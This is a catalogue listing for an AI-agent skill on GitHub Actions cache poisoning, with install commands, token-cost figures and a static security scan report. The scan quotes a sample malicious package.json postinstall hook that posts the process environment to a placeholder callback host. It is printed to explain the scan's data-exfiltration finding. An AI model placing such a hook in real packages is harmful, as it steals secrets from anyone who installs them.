github-actions-cache-poisoning

github-actions-cache-poisoning is a skill for Claude Code, Codex from securityfortech/hacking-skills. It costs 159 tokens per session (2,216 once invoked), scanned B, original, no licence file.

A security guide for GitHub Actions cache poisoning, where saved build files are restored in later workflow runs. It focuses on attackers placing harmful files in a cache used by a trusted job.

In plain words
What is it for?
Use it to review actions/cache, dependency caches such as node_modules, and workflows that restore caches across trust boundaries.
Why use it?
It helps find cases where an untrusted workflow can affect cached dependencies or build output used with higher privileges.

Skill for Claude CodeCodex

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/securityfortech/hacking-skills/github-actions-cache-poisoning
Any agent
npx skills add securityfortech/hacking-skills --skill github-actions-cache-poisoning
Clone the repo
git clone --depth 1 https://github.com/securityfortech/hacking-skills

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for github-actions-cache-poisoning

README.md
[![agentmods](https://agentmods.dev/badge/skills/securityfortech/hacking-skills/github-actions-cache-poisoning.svg)](https://agentmods.dev/skills/securityfortech/hacking-skills/github-actions-cache-poisoning)
Your own site
<a href="https://agentmods.dev/skills/securityfortech/hacking-skills/github-actions-cache-poisoning"><img src="https://agentmods.dev/badge/skills/securityfortech/hacking-skills/github-actions-cache-poisoning.svg" alt="Measured on agentmods" height="20"></a>
Per session 159 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,216 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 2 findings. Scan, not verified.
Origin unknown No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00159 $0.02216
Opus 5 $0.00079 $0.01108
Sonnet 5 $0.00032 $0.00443
Haiku 4.5 $0.00016 $0.00222

Measured 4d ago against content hash 5c45ef5441f0, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade B, and why

github-actions-cache-poisoning scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 4d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLmediumData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

{"name":"evil-pkg","scripts":{"postinstall":"curl -d @/proc/self/environ https://CALLBACK"}}

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

{"name":"evil-pkg","scripts":{"postinstall":"curl -d @/proc/self/environ https://CALLBACK"}}
skills/cicd/github-actions-cache-poisoning/SKILL.md · 156 lines

The source is not reproduced here

No licence file

A repository with no LICENSE is all rights reserved by default, so the body is not copied here. The metadata, the measurements and the link are.

Read it on GitHub

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 4d ago First seen · 156 lines · 159 tokens per session scan B 5c45ef5441f0

Subscribe to this mod's changes

github-actions-cache-poisoning is a skill published in the GitHub repository securityfortech/hacking-skills (11 stars, last pushed 5mo ago), with no licence file. It adds 159 tokens to every session and 2,216 once invoked, about $0.0008 per session on Opus 5. A static security scan graded it B with 2 findings (sends data to an external url, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

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